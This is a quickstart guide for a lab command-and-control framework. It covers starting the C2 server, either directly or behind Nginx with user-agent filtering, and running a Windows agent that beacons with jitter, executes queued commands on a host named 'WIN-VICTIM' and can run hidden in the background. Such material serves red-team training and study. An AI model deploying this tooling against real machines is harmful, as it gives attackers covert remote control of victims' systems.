This guide walks through starting the C2 server and establishing your first agent connection in minutes.
Before starting, ensure you’ve completed:
Choose Deployment Method
The C2 Framework supports two deployment modes:
| Method | Use Case | Complexity | Features |
|---|
| Bare-Metal | Development, debugging, testing | Simple | Direct FastAPI/uvicorn, exposed ports |
| Docker Compose | Production-like, reverse proxy testing | Moderate | Nginx frontend, user-agent filtering, isolated network |
Edit common/config.py:
# Network
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 8443 # Direct uvicorn port
BACKEND_PORT = 8443
BEHIND_NGINX = False # Important: Set to False
Step 2: Start the Server
Activate Virtual Environment
cd ~/c2-framework
source venv/bin/activate
Set Lab Mode Environment Variable
The server will not start without LAB_MODE=1. This safety mechanism prevents accidental deployment outside isolated labs.
Launch the Server
python -m server.server_main
Expected output:INFO: Started server process [12345]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: Uvicorn running on https://0.0.0.0:8443 (Press CTRL+C to quit)
Verify Server is Running
From another terminal:# Check listening port
ss -tlnp | grep 8443
# Test TLS handshake
curl -k https://c2.lab.internal:8443/beacon
You should see a connection, even if it returns an error (agent authentication required).
Copy Certificate to Windows VM
On Ubuntu VM:# Start Python HTTP server to transfer cert
cd ~/c2-framework/certs
python3 -m http.server 8000
On Windows VM (PowerShell):# Download certificate
Invoke-WebRequest -Uri http://192.168.100.10:8000/server.crt -OutFile C:\Users\$env:USERNAME\certs\server.crt
# Verify download
Get-Content C:\Users\$env:USERNAME\certs\server.crt
Stop the HTTP server on Ubuntu (Ctrl+C). Update Agent Configuration
On the Windows VM, edit common/config.py:# Network
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 8443 # Match server port
# TLS
TLS_CERT_PATH = r'C:\Users\<username>\certs\server.crt'
# Use the same PRE_SHARED_KEY as the server
PRE_SHARED_KEY = b'\x8a\x3f...' # Copy from server config
Launch the Agent
On Windows VM (PowerShell as Administrator):cd C:\Users\<username>\c2-framework
# Set lab mode
$env:LAB_MODE = "1"
# Run agent
python -m agent.agent_main
Expected output:INFO: Environment checks passed
INFO: Beacon interval: 30s (±20% jitter)
INFO: Checking in with c2.lab.internal:8443
INFO: Checkin successful, session_id: abc123...
INFO: Beacon loop started
Step 4: Interact with the Agent
List Active Sessions
On the Ubuntu VM, open a new terminal:cd ~/c2-framework
source venv/bin/activate
python -m server.cli sessions
Example output:SESSION_ID | HOSTNAME | USERNAME | LAST_SEEN
abc123def456789... | WIN-VICTIM | user | 2026-03-11 14:32:10
Queue a Command
python -m server.cli task add <session_id> "whoami"
The agent will pull the task on its next beacon (within ~30 seconds).Retrieve Command Results
python -m server.cli task results <session_id>
Example output:TASK_ID | COMMAND | STATUS | STDOUT
1 | whoami | completed | WIN-VICTIM\user
Option 2: Docker Compose Deployment
Edit common/config.py:
# Network
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 443 # Nginx frontend port
BACKEND_PORT = 8443
BEHIND_NGINX is automatically set via Docker Compose environment variables. No manual config change needed.
Step 2: Start the Stack
Build and Launch Containers
cd ~/c2-framework
docker-compose up --build -d
This builds and starts:
c2-server (FastAPI on internal port 8443)
c2-nginx (Nginx on host ports 80, 443)
Verify Containers are Running
Expected output:NAME IMAGE STATUS PORTS
c2-server c2-server:latest Up (internal 8443)
c2-nginx c2-nginx:latest Up 0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp
Check Server Logs
docker-compose logs -f c2-server
Look for:INFO: server started port=443
INFO: Application startup complete
Step 3: Run the Agent
Agent configuration is identical to bare-metal, but use port 443:
# common/config.py on Windows VM
SERVER_HOST = 'c2.lab.internal'
SERVER_PORT = 443 # Nginx frontend
Launch the agent:
$env:LAB_MODE = "1"
python -m agent.agent_main
Step 4: Interact via Docker
Access CLI Inside Container
docker-compose exec c2-server python -m server.cli sessions
Queue Commands
docker-compose exec c2-server python -m server.cli task add <session_id> "ipconfig /all"
View Logs and Database
Logs and database persist on the host:ls -l logs/
# c2_server.db - SQLite database
# server.log - Application logs
Docker Architecture
The Docker deployment uses an internal network:
Windows VM (192.168.100.20)
|
| HTTPS :443 (c2.lab.internal)
v
┌───────────────────────────────────────┐
│ Ubuntu VM (192.168.100.10) │
│ │
│ ┌─────────────────────────────────┐ │
│ │ c2-nginx container │ │
│ │ - TLS termination │ │
│ │ - User-Agent filtering │ │
│ │ - Port 80 → 443 redirect │ │
│ └──────────┬──────────────────────┘ │
│ │ │
│ | HTTP :8443 │
│ | (c2-internal network) │
│ v │
│ ┌─────────────────────────────────┐ │
│ │ c2-server container │ │
│ │ - FastAPI application │ │
│ │ - Session management │ │
│ │ - Command queue │ │
│ └──────────┬──────────────────────┘ │
│ │ │
│ v │
│ logs/c2_server.db (bind mount) │
│ │
└───────────────────────────────────────┘
Key Points:
- Port 8443 is not exposed to the host - only reachable by Nginx
- Nginx performs TLS termination and forwards plain HTTP to the backend
- Agent connects to port 443 (Nginx), not 8443
- Database and logs persist outside containers via bind mounts
Common Commands
Server Management
# Start server
export LAB_MODE=1
python -m server.server_main
# Stop server
# Press Ctrl+C
# View logs
tail -f logs/server.log
# Check database
sqlite3 logs/c2_server.db "SELECT * FROM sessions;"
Agent Management
# Start agent
$env:LAB_MODE = "1"
python -m agent.agent_main
# Stop agent
# Press Ctrl+C
# Run in background (optional)
Start-Process python -ArgumentList "-m", "agent.agent_main" -WindowStyle Hidden
CLI Operations
# List all sessions
python -m server.cli sessions
# Show session details
python -m server.cli session <session_id>
# Queue task
python -m server.cli task add <session_id> "<command>"
# View task results
python -m server.cli task results <session_id>
# Clear old sessions
python -m server.cli sessions prune --older-than 7d
Verification Checklist
After completing the quickstart, verify:
Next Steps
Now that you have a working C2 setup:
- Architecture - Understand the system design
- Protocol - Learn the beacon protocol
- Server API - Explore server internals
- Agent API - Explore agent internals
- Operational Guide - Advanced session management
Troubleshooting
Server Won’t Start
Error: LAB_MODE environment variable not set
# Solution: Export LAB_MODE
export LAB_MODE=1
python -m server.server_main
Error: Address already in use
# Check what's using the port
sudo ss -tlnp | grep 8443
# Kill the process or use a different port
Agent Can’t Connect
Error: SSL: CERTIFICATE_VERIFY_FAILED
- Verify
TLS_CERT_PATH points to the correct certificate location
- Ensure certificate CN matches
SERVER_HOST
- Check certificate is not expired:
openssl x509 -in server.crt -noout -dates
Error: Connection refused
- Verify server is running:
ss -tlnp | grep 8443 (bare-metal) or docker-compose ps
- Test connectivity:
ping c2.lab.internal
- Check Windows firewall isn’t blocking outbound connections
Error: Pre-shared key mismatch
- Ensure
PRE_SHARED_KEY is identical in server and agent config.py
- Key must be exactly 32 bytes
Docker Issues
Error: Cannot connect to Docker daemon
# Add user to docker group
sudo usermod -aG docker $USER
# Log out and log back in
Error: Port 443 already in use
# Check what's using port 443
sudo ss -tlnp | grep 443
# Stop conflicting service (e.g., Apache)
sudo systemctl stop apache2
No Beacon Activity
- Check beacon interval: Default is 30 seconds (±20% jitter)
- Verify agent is still running (check Task Manager)
- Check agent logs for errors
- Ensure system clock is synchronized between VMs